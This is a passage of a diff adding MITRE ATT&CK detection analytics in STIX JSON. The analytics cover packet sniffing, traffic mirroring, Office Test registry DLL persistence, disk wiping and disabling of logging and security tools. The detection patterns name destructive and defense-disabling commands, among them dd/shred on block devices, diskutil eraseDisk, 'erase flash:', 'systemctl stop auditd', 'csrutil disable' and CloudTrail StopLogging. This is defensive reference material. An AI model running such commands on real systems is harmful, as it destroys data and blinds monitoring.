"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0877", + "description": "Detects enabling of interface sniffing via packet capture tools or AppleScript triggering `tcpdump`. Leverages Unified Logs and process lineage to identify suspicious use of `pfctl`, `tcpdump`, or `libpcap` libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "eventMessage = 'promiscuous'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events where path like '%tcpdump%'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "fs:fsusage", + "channel": "access to BPF devices or interface IOCTLs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTools", + "description": "Whitelist Apple-native tools used by IT admins and mobile device management (MDM)." + }, + { + "field": "UserContext", + "description": "Prioritize detections from non-admin or low-privilege users performing packet captures." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4c4941eb-b087-4710-8c88-ff537c2309ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0314#AN0878", + "external_id": "AN0878" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0878", + "description": "Detects creation of traffic mirroring sessions (e.g., AWS VPC Traffic Mirroring, Azure vTAP) that redirect traffic from critical assets to other virtual instances, often followed by file creation or session establishment.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "CreateTrafficMirrorSession / ModifyTrafficMirrorTarget" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MirrorSourceList", + "description": "Identify VMs or containers where mirror sessions are abnormal or unexpected." + }, + { + "field": "TargetIAMRole", + "description": "Monitor whether mirror target roles match administrative expectations." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--25403649-ce66-4fb0-9957-8c319b10e9d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0314#AN0879", + "external_id": "AN0879" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0879", + "description": "Detects execution of capture commands via CLI (`monitor capture`, `debug packet`, etc.) or unauthorized CLI access followed by logging configuration changes on Cisco/Juniper/Arista gear.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "admin login events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "exec command='monitor capture'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "networkdevice:syslog", + "channel": "config change (e.g., logging buffered, pcap buffers)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminSessionDuration", + "description": "Tunable alerting threshold for interactive CLI sessions." + }, + { + "field": "CaptureCommandList", + "description": "Define set of known capture/debug commands per vendor to flag unexpected usage." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--80be1bd7-b4e8-4d1b-b294-56b1c073bbe0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0315#AN0880", + "external_id": "AN0880" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0880", + "description": "Adversaries create the 'Office Test\\Special\\Perf' registry key and specify a malicious DLL path that is auto-loaded when an Office application starts. This DLL is injected into the Office process memory space and can provide persistent execution without requiring macro enablement.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:Microsoft-Office-Alerts", + "channel": "Unexpected DLL or component loaded at Office startup" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegistryPath", + "description": "Path to 'Office test\\Special\\Perf' may vary by Office version, 32/64-bit, or architecture (HKCU vs HKLM)" + }, + { + "field": "DLLPath", + "description": "Injected DLL may reside in different user-writable locations (e.g., %APPDATA%, %TEMP%, or network shares)" + }, + { + "field": "OfficeProcessName", + "description": "Process name (e.g., winword.exe, excel.exe) may vary by Office deployment and usage" + }, + { + "field": "TimeWindow", + "description": "Time between DLL registry creation and first Office execution may vary depending on user activity" + }, + { + "field": "UserContext", + "description": "Malicious DLL may target only specific users, necessitating correlation with interactive logon sessions" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a677cebe-06e8-4993-bd4c-6a6884862444", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0315#AN0881", + "external_id": "AN0881" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0881", + "description": "Office application auto-loads a non-standard DLL during startup triggered via Office Test Registry key, often without macro warning banners. DLL persistence mechanism circumvents traditional macro defenses.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "m365:unified", + "channel": "Non-standard Office startup component detected (e.g., unexpected DLL path)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:office", + "channel": "Startup execution includes non-default component" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedLocationBypass", + "description": "DLL may be placed in location trusted by Office configuration or signed to evade alerts" + }, + { + "field": "AuditPolicyScope", + "description": "Only specific tenants or users may have Office auditing enabled at granular DLL load level" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d1ad1b0b-0050-4737-8993-73c2da8d143b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0316#AN0882", + "external_id": "AN0882" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0882", + "description": "Processes attempting raw disk access via \\\\.\\PhysicalDrive paths, abnormal file I/O to MBR/boot sectors, or loading of third-party drivers (e.g., RawDisk) that enable disk overwrite. Correlate process creation, privilege usage, and disk modification events within a short time window.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "WinEventLog:Security", + "channel": "EventCode=4673" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "name": "WinEventLog:Sysmon", + "channel": "Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessWhitelist", + "description": "Backup, forensics, or imaging tools may perform legitimate raw disk access \u2014 requires tuning per environment." + }, + { + "field": "TimeWindow", + "description": "Correlation threshold for process execution, driver load, and raw disk writes." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b55c84a0-d045-43f6-a5a9-e8f6edbd275e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0316#AN0883", + "external_id": "AN0883" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0883", + "description": "Execution of destructive utilities (dd, shred, wipe) targeting block devices, or processes invoking syscalls to directly overwrite /dev/sd* or /dev/nvme* partitions. Correlate abnormal file write attempts with shell process execution and block device access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "auditd:SYSCALL", + "channel": "open/write syscalls to block devices (/dev/sd*, /dev/nvme*)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "Execution of dd, shred, or wipe with arguments targeting block devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDevices", + "description": "Exclude removable drives or designated partitions that may be overwritten during maintenance." + }, + { + "field": "EntropyThreshold", + "description": "Tune detection for pseudorandom write patterns to reduce false positives during high-volume I/O." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1065ad69-8969-4ae0-9df6-dc7e7b1129c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0316#AN0884", + "external_id": "AN0884" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0884", + "description": "Abnormal invocation of diskutil or asr with destructive flags (eraseDisk, zeroDisk), or low-level IOKit calls that overwrite raw disk content. Detect correlation between elevated process execution and disk erase operations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "diskutil eraseDisk/zeroDisk or asr restore with destructive flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "name": "macos:unifiedlog", + "channel": "IOKit raw disk write activity targeting physical devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminToolWhitelist", + "description": "Provisioning workflows may legitimately use diskutil/asr \u2014 whitelist by user or system context." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d0e64036-83fb-4ff7-b81b-9b67b6c6b9dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0316#AN0885", + "external_id": "AN0885" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0885", + "description": "Execution of CLI commands erasing file systems or storage (erase flash:, format disk, erase nvram:). Detect authentication events followed by destructive commands within the same privileged session.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "erase flash:, erase nvram:, format disk" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "Privileged login followed by destructive command sequence" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PrivilegedUsers", + "description": "Tune to exclude approved maintenance performed by authorized administrators." + }, + { + "field": "CommandPatterns", + "description": "Expand or narrow destructive command coverage depending on vendor-specific syntax." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--febc685b-997f-4095-b60b-5dfeefe01ae3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0886", + "external_id": "AN0886" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0886", + "description": "Unusual service stop events, termination of AV/EDR processes, registry modifications disabling security tools, and firewall/defender configuration changes. Correlate process creation with service stop requests and registry edits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessWhitelist", + "description": "Exclude authorized administrative tools that stop services during maintenance." + }, + { + "field": "ServiceNamePatterns", + "description": "Refine which services are considered security-critical (e.g., AV, EDR, firewall)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--003dd2ae-b156-4ebd-8a59-76f993056552", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0887", + "external_id": "AN0887" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0887", + "description": "Execution of commands that stop or kill processes associated with logging or security daemons (auditd, syslog, falco). Detect modifications to iptables or disabling SELinux/AppArmor enforcement. Correlate sudo/root context with abrupt service halts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "auditd:SYSCALL", + "channel": "kill syscalls targeting logging/security processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "linux:syslog", + "channel": "iptables or nftables rule changes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceList", + "description": "Adjust monitored security service names depending on host configuration." + }, + { + "field": "TimeWindow", + "description": "Correlate multiple kill/stop events in short succession." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fb51dd4c-b751-4282-a447-d9f5f257b435", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0888", + "external_id": "AN0888" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0888", + "description": "Execution of commands or APIs that disable Gatekeeper, XProtect, or system integrity protections. Detect configuration changes through unified logs. Monitor termination of system security daemons (e.g., syspolicyd).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "macos:unifiedlog", + "channel": "Termination of syspolicyd or XProtect processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminToolWhitelist", + "description": "Developers may legitimately disable Gatekeeper; whitelist approved contexts." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2a4f23d7-3f80-45b7-90ec-b13fdd7f8d70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0889", + "external_id": "AN0889" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0889", + "description": "Modification of container runtime security profiles (AppArmor, seccomp) or removal of monitoring agents within containers. Detect unauthorized mounting/unmounting of host /proc or /sys to disable logging or auditing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "kubernetes:audit", + "channel": "seccomp or AppArmor profile changes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "docker:runtime", + "channel": "Termination of monitoring sidecar or security container" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RuntimeProfiles", + "description": "Specify which security profiles should be monitored for modification." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d2762796-1dea-448a-970a-7aeb176aa668", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0890", + "external_id": "AN0890" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0890", + "description": "Unusual ESXi shell commands disabling syslog forwarding or stopping hostd/vpxa daemons. Detect modifications to firewall rules on ESXi host or disabling of lockdown mode.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "esxcli system syslog config set --loghost='' or stopping hostd service" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a", + "name": "esxi:vmkernel", + "channel": "Disabling or modifying firewall rules" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LogDestination", + "description": "Tune for environment-specific log forwarding hosts." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ac692681-2851-41b4-aff9-4b5efc4c40c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0891", + "external_id": "AN0891" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0891", + "description": "Cloud control plane actions disabling security services (CloudTrail logging, GuardDuty, Security Hub). Detect IAM role abuse correlating with service disable events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd", + "name": "AWS:CloudTrail", + "channel": "StopLogging, DeleteTrail, or DisableSecurityService" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceScope", + "description": "Specify which cloud services (logging, monitoring, threat detection) must never be disabled." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0ba25127-85e4-46ef-8173-96aa9df90c22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0892", + "external_id": "AN0892" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0892", + "description": "Changes to security configurations such as disabling MFA requirements, reducing session token lifetimes, or turning off risk-based policies. Correlate admin logins with sudden policy downgrades.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "azure:policy", + "channel": "DisableMfaPolicy or change to ConditionalAccess rules" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PolicyList", + "description": "Adjust for the critical identity provider security policies to monitor." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dc5bfda5-057d-4bec-b3e6-a6b2117a4134", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0893", + "external_id": "AN0893" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0893", + "description": "Execution of commands disabling AAA, logging, or security features on routers/switches. Detect privilege escalation followed by config changes that disable defense mechanisms.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "no logging buffered, no aaa new-model, disable firewall" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPatterns", + "description": "Customize destructive command list per vendor platform." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a807fb55-1c4f-4353-90d6-1a05aa05f2c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": 